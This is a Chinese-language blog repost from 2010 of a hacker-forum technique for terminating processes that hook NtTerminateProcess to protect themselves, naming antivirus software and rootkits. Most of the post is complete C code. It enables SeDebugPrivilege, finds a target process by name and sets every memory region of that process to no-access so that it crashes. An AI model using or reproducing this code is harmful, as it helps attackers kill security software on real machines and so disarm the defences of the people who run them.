 |
|
 |
PortWatcher's Blog
Monday, 2025-06-30, 3:10 AM Welcome Guest
BlogMain » 2010 » November » 23 » 调用VitualProtect结束进程
12:05 PM 调用VitualProtect结束进程 |
PS:我过了很久才转的这篇,怕被怀疑泄露VIP资料```我只是觉得短短几行有价值的代码胜过一切空谈```所以情不自禁还是转了```
转自黑客防线Windows内核编程板块```膜拜技术大牛,叹自己思路之堵塞,眼光之短浅```` 杀毒软件和Rootkit程序为了保护自己的进程不被关闭,经常喜欢Hook NtTerminateProcess 函数,这样的话我们可以调用VirtualProtect函数,将进程内存的有效区域全部改成"不可执行”。那么进程使用到这些已经标识为"不可执行”的内存区域时,就会自动退出。代码如下: Code #include <stdio.h> #include <windows.h> #include <TLHELP32.H>
DWORD GetProcessID(char *ProcessName) { BOOL bMore; HANDLE pHandle; PROCESSENTRY32 pe32; pHandle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe32.dwSize=sizeof(pe32); bMore=Process32First(pHandle,&pe32); while(bMore) { if(strcmp(ProcessName,pe32.szExeFile)==0) return pe32.th32ProcessID; bMore = Process32Next(pHandle,&pe32); }
return 0; }
void MyKillProcess(DWORD PID) { DWORD MaxAddr,MinAddr,CurAddr,PageSize,OldProtect; HANDLE hProc; SYSTEM_INFO SysInfo; MEMORY_BASIC_INFORMATION MemBasicInfo;
GetSystemInfo(&SysInfo); MinAddr = (DWORD)SysInfo.lpMinimumApplicationAddress; MaxAddr = (DWORD)SysInfo.lpMaximumApplicationAddress; PageSize = SysInfo.dwPageSize;
hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, PID); if (hProc<=0) return ;
for (CurAddr = MinAddr; CurAddr <= MaxAddr; CurAddr += PageSize) { if (VirtualQueryEx(hProc, (LPVOID)(CurAddr), &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION))) { VirtualProtectEx(hProc, MemBasicInfo.BaseAddress, MemBasicInfo.RegionSize, PAGE_NOACCESS, &OldProtect); } }
CloseHandle(hProc); }
void SetPrivilege() { HANDLE hToken; LUID destLuid; TOKEN_PRIVILEGES TokenPrivileges; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //获得进程访问令牌的句柄 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &destLuid); //操作的类型为SE_DEBUG_NAME TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TokenPrivileges.Privileges[0].Luid = destLuid; AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 0, NULL, NULL); //提升权限 CloseHandle(hToken); //关闭句柄 } int main() { DWORD pid; char ProcessName[100];
SetPrivilege(); //提升进程权限为DEBUG
printf("请输入进程名称:"); scanf("%s",ProcessName);
pid = GetProcessID(ProcessName); //获取进程ID
if(pid != 0) { MyKillProcess(pid); //结束进程 } else { printf("没有找到进程\n"); }
return 0; }
|
Category: coding |
Views: 761 |
Added by: Jury
| Rating: 5.0/1 |
|
 |